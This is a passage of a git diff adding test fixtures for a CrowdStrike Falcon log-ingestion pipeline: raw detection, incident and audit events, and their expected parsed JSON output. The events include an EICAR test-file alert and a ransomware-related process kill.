Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751371899000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1956190,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "23ba370fc8357f6f827812da142b5fcb",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7"
+                },
+                "name": "explorer.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "name": "dave-win10-3"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "C:\\Windows\\Explorer.EXE"
+                ],
+                "command_line": "C:\\Windows\\Explorer.EXE",
+                "entity_id": "38850874557",
+                "executable": "C:\\Windows\\Explorer.EXE",
+                "name": "explorer.exe",
+                "parent": {
+                    "args": [
+                        "C:\\Windows\\system32\\userinit.exe"
+                    ],
+                    "command_line": "C:\\Windows\\system32\\userinit.exe",
+                    "entity_id": "38850737845",
+                    "executable": "C:\\Windows\\system32\\userinit.exe",
+                    "pid": 38850737845
+                },
+                "pid": 38850874557,
+                "start": "2025-07-01T12:06:02.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7",
+                    "23ba370fc8357f6f827812da142b5fcb"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "name": "Known Malware"
+            },
+            "source": {
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Execution"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "User Execution"
+                    ]
+                }
+            },
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2025-07-01T12:11:39.000Z",
+            "crowdstrike": {
+                "event": {
+                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725",
+                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320",
+                    "DataDomains": "Endpoint",
+                    "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
+                    "FilesAccessed": [
+                        {
+                            "FileName": "eicarcom2.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads",
+                            "Timestamp": "2025-07-01T12:10:30.000Z"
+                        },
+                        {
+                            "FileName": "thumbcache_16.db",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                            "Timestamp": "2025-07-01T12:10:30.000Z"
+                        },
+                        {
+                            "FileName": "eicar_com.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                            "Timestamp": "2025-07-01T12:10:30.000Z"
+                        },
+                        {
+                            "FileName": "thumbcache_idx.db",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                            "Timestamp": "2025-07-01T12:10:30.000Z"
+                        },
+                        {
+                            "FileName": "GLEAM-LIGHT.svg",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
+                            "Timestamp": "2025-07-01T12:10:35.000Z"
+                        },
+                        {
+                            "FileName": "GLEAM-DARK.svg",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
+                            "Timestamp": "2025-07-01T12:10:35.000Z"
+                        },
+                        {
+                            "FileName": "eicar_com.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                            "Timestamp": "2025-07-01T12:10:41.000Z"
+                        },
+                        {
+                            "FileName": "eicar_com.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                            "Timestamp": "2025-07-01T12:10:42.000Z"
+                        },
+                        {
+                            "FileName": "eicar_com.zip",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                            "Timestamp": "2025-07-01T12:10:43.000Z"
+                        },
+                        {
+                            "FileName": "iconcache_16.db",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                            "Timestamp": "2025-07-01T12:10:43.000Z"
+                        }
+                    ],
+                    "FilesWritten": [
+                        {
+                            "FileName": "eicar.com",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com",
+                            "Timestamp": "2025-07-01T12:10:43.000Z"
+                        },
+                        {
+                            "FileName": "The Internet.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:07:38.000Z"
+                        },
+                        {
+                            "FileName": "windowsdefender--threat-.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:07:38.000Z"
+                        },
+                        {
+                            "FileName": "The Internet.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:09:04.000Z"
+                        },
+                        {
+                            "FileName": "windowsdefender--threat-.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:09:04.000Z"
+                        },
+                        {
+                            "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk",
+                            "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                            "Timestamp": "2025-07-01T12:09:21.000Z"
+                        }
+                    ],
+                    "GrandparentCommandLine": "winlogon.exe",
+                    "GrandparentImageFileName": "winlogon.exe",
+                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe",
+                    "HostGroups": [
+                        "6b15afc3ea3a42ed810b5c163e490a9d"
+                    ],
+                    "MACAddress": "ba-d0-00-ba-d0-00",
+                    "MitreAttack": [
+                        {
+                            "PatternID": "10418",
+                            "Tactic": "Execution",
+                            "Technique": "User Execution"
+                        }
+                    ],
+                    "NetworkAccesses": [
+                        {
+                            "AccessTimestamp": 1751371565,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.13",
+                            "LocalPort": 49729,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "150.171.27.12",
+                            "RemotePort": 443
+                        },
+                        {
+                            "AccessTimestamp": 1751371565,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.13",
+                            "LocalPort": 49730,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "2.22.144.74",
+                            "RemotePort": 443
+                        },
+                        {
+                            "AccessTimestamp": 1751371787,
+                            "AccessType": 0,
+                            "ConnectionDirection": 0,
+                            "IsIPV6": false,
+                            "LocalAddress": "10.0.0.13",
+                            "LocalPort": 49948,
+                            "Protocol": "TCP",
+                            "RemoteAddress": "2.18.27.89",
+                            "RemotePort": 443
+                        }
+                    ],
+                    "Objective": "Follow Through",
+                    "ParentImageFileName": "userinit.exe",
+                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
+                    "PatternDispositionFlags": {
+                        "BlockingUnsupportedOrDisabled": false,
+                        "BootupSafeguardEnabled": false,
+                        "ContainmentFileSystem": false,
+                        "CriticalProcessDisabled": false,
+                        "Detect": false,
+                        "FsOperationBlocked": false,
+                        "HandleOperationDowngraded": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillActionFailed": false,
+                        "KillParent": false,
+                        "KillProcess": false,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "RegistryOperationBlocked": false,
+                        "Rooting": false,
+                        "SensorOnly": false,
+                        "SuspendParent": false,
+                        "SuspendProcess": false
+                    },
+                    "PatternId": "10418",
+                    "PlatformId": "0",
+                    "PlatformName": "Windows",
+                    "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip",
+                    "SensorId": "cff45d56127743a593792fb968dac907",
+                    "Severity": 10,
+                    "SeverityName": "Informational",
+                    "SourceProducts": "Falcon Insight",
+                    "SourceVendors": "CrowdStrike",
+                    "Type": "ldt"
+                },
+                "metadata": {
+                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
+                    "eventType": "EppDetectionSummaryEvent",
+                    "offset": 1956190,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, standard detection.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2025-07-01T12:11:39.000Z",
+                "kind": "alert",
+                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"MitreAttack\":[{\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"PatternID\":10418}]},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751371899000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1956190,\"version\":\"1.0\"}}",
+                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "23ba370fc8357f6f827812da142b5fcb",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7"
+                },
+                "name": "explorer.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "name": "dave-win10-3"
+            },
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "C:\\Windows\\Explorer.EXE"
+                ],
+                "command_line": "C:\\Windows\\Explorer.EXE",
+                "entity_id": "38850874557",
+                "executable": "C:\\Windows\\Explorer.EXE",
+                "name": "explorer.exe",
+                "parent": {
+                    "args": [
+                        "C:\\Windows\\system32\\userinit.exe"
+                    ],
+                    "command_line": "C:\\Windows\\system32\\userinit.exe",
+                    "entity_id": "38850737845",
+                    "executable": "C:\\Windows\\system32\\userinit.exe",
+                    "pid": 38850737845
+                },
+                "pid": 38850874557,
+                "start": "2025-07-01T12:06:02.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7",
+                    "23ba370fc8357f6f827812da142b5fcb"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "name": "Known Malware"
+            },
+            "source": {
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Execution"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "User Execution"
+                    ]
+                }
+            },
+            "user": {
+                "name": "win10_user3"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log
new file mode 100644
index 0000000000..a922143c4b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log
@@ -0,0 +1,160 @@
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 294564,
+        "eventType": "DetectionSummaryEvent",
+        "eventCreationTime": 1582101000000,
+        "version": "1.0"
+    },
+    "event": {
+        "ProcessStartTime": 1536846339,
+        "ProcessEndTime": 0,
+        "ProcessId": 38684386611,
+        "ParentProcessId": 38682494050,
+        "ComputerName": "alice-laptop",
+        "UserName": "alice",
+        "DetectName": "Process Terminated",
+        "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
+        "Severity": 4,
+        "SeverityName": "High",
+        "FileName": "explorer.exe",
+        "FilePath": "\\Device\\HarddiskVolume1\\Windows",
+        "CommandLine": "C:\\Windows\\Explorer.EXE",
+        "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
+        "MD5String": "ac4c51eb24aa95b77f705ab159189e24",
+        "MachineDomain": "CORP-DOMAIN",
+        "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
+        "SensorId": "7c808b4c8878433287eea53d4a8c3268",
+        "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
+        "LocalIP": "192.168.12.51",
+        "MACAddress": "00-00-00-11-22-33",
+        "Tactic": "Malware",
+        "Technique": "Ransomware",
+        "Objective": "Falcon Detection Method",
+        "PatternDispositionDescription": "Prevention, process killed.",
+        "PatternDispositionValue": 16,
+        "PatternDispositionFlags": {
+            "Indicator": false,
+            "Detect": false,
+            "InddetMask": false,
+            "SensorOnly": false,
+            "Rooting": false,
+            "KillProcess": true,
+            "KillSubProcess": false,
+            "QuarantineMachine": false,
+            "QuarantineFile": false,
+            "PolicyDisabled": false,
+            "KillParent": false,
+            "OperationBlocked": false,
+            "ProcessBlocked": false
+        }
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 1824,
+        "eventType": "IncidentSummaryEvent",
+        "eventCreationTime": 1583295476766,
+        "version": "1.0"
+    },
+    "event": {
+        "IncidentStartTime": 1583295228,
+        "IncidentEndTime": 1583295470,
+        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "State": "open",
+        "FineScore": 1.2
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 22865,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1593186952000,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "Crowdstrike",
+        "UserIp": "",
+        "OperationName": "quarantined_file_update",
+        "ServiceName": "quarantined_files",
+        "AuditKeyValues": [
+            {
+                "Key": "quarantined_file_id",
+                "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"
+            },
+            {
+                "Key": "action_taken",
+                "ValueString": "quarantined"
+            }
+        ],
+        "UTCTimestamp": 1593186952
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 294564,
+        "eventType": "DetectionSummaryEvent",
+        "eventCreationTime": 1582101000000,
+        "version": "1.0"
+    },
+    "event": {
+        "ProcessStartTime": 1536846339,
+        "ProcessEndTime": 0,
+        "ProcessId": 38684386611,
+        "ParentProcessId": 38682494050,
+        "ComputerName": "alice-laptop",
+        "UserName": "alice",
+        "DetectName": "Process Terminated",
+        "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
+        "Severity": 4,
+        "SeverityName": "High",
+        "FileName": "explorer.exe",
+        "FilePath": "\\Device\\HarddiskVolume1\\Windows",
+        "CommandLine": "C:\\Windows\\Explorer.EXE",
+        "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
+        "MD5String": "ac4c51eb24aa95b77f705ab159189e24",
+        "MachineDomain": "CORP-DOMAIN",
+        "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
+        "SensorId": "7c808b4c8878433287eea53d4a8c3268",
+        "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
+        "LocalIP": "192.168.12.51",
+        "MACAddress": "00-00-00-11-22-33",
+        "Tactic": "Malware",
+        "Technique": "Ransomware",
+        "Objective": "Falcon Detection Method",
+        "PatternDispositionDescription": "Prevention, process killed.",
+        "PatternDispositionValue": 16,
+        "PatternDispositionFlags": {
+            "Indicator": false,
+            "Detect": false,
+            "InddetMask": false,
+            "SensorOnly": false,
+            "Rooting": false,
+            "KillProcess": true,
+            "KillSubProcess": false,
+            "QuarantineMachine": false,
+            "QuarantineFile": false,
+            "PolicyDisabled": false,
+            "KillParent": false,
+            "OperationBlocked": false,
+            "ProcessBlocked": false
+        },
+        "MitreAttack": [
+            {
+				"Tactic": "Insecure security posture",
+				"TacticID": "CSTA0009",
+				"Technique": "Bad device settings",
+				"TechniqueID": "CST0024"
+			},
+            {
+                "Tactic": "Exfiltration",
+                "TacticID": "TA0010",
+                "Technique": "Exfiltration Over Web Service",
+                "TechniqueID": "T1567"
+            }
+        ]
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json
new file mode 100644
index 0000000000..c8dda7f0e9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json
@@ -0,0 +1,378 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-02-19T08:30:00.000Z",
+            "crowdstrike": {
+                "event": {
+                    "MACAddress": "00-00-00-11-22-33",
+                    "Objective": "Falcon Detection Method",
+                    "PatternDispositionFlags": {
+                        "Detect": false,
+                        "InddetMask": false,
+                        "Indicator": false,
+                        "KillParent": false,
+                        "KillProcess": true,
+                        "KillSubProcess": false,
+                        "OperationBlocked": false,
+                        "PolicyDisabled": false,
+                        "ProcessBlocked": false,
+                        "QuarantineFile": false,
+                        "QuarantineMachine": false,
+                        "Rooting": false,
+                        "SensorOnly": false
+                    },
+                    "PatternDispositionValue": 16,
+                    "SensorId": "7c808b4c8878433287eea53d4a8c3268",
+                    "Severity": 4,
+                    "SeverityName": "High"
+                },
+                "metadata": {
+                    "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+                    "eventType": "DetectionSummaryEvent",
+                    "offset": 294564,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Prevention, process killed.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2020-02-19T08:30:00.000Z",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n        \"offset\": 294564,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1582101000000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1536846339,\n        \"ProcessEndTime\": 0,\n        \"ProcessId\": 38684386611,\n        \"ParentProcessId\": 38682494050,\n        \"ComputerName\": \"alice-laptop\",\n        \"UserName\": \"alice\",\n        \"DetectName\": \"Process Terminated\",\n        \"DetectDescription\": \"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.\",\n        \"Severity\": 4,\n        \"SeverityName\": \"High\",\n        \"FileName\": \"explorer.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume1\\\\Windows\",\n        \"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n        \"SHA256String\": \"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a\",\n        \"MD5String\": \"ac4c51eb24aa95b77f705ab159189e24\",\n        \"MachineDomain\": \"CORP-DOMAIN\",\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4\",\n        \"SensorId\": \"7c808b4c8878433287eea53d4a8c3268\",\n        \"DetectId\": \"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584\",\n        \"LocalIP\": \"192.168.12.51\",\n        \"MACAddress\": \"00-00-00-11-22-33\",\n        \"Tactic\": \"Malware\",\n        \"Technique\": \"Ransomware\",\n        \"Objective\": 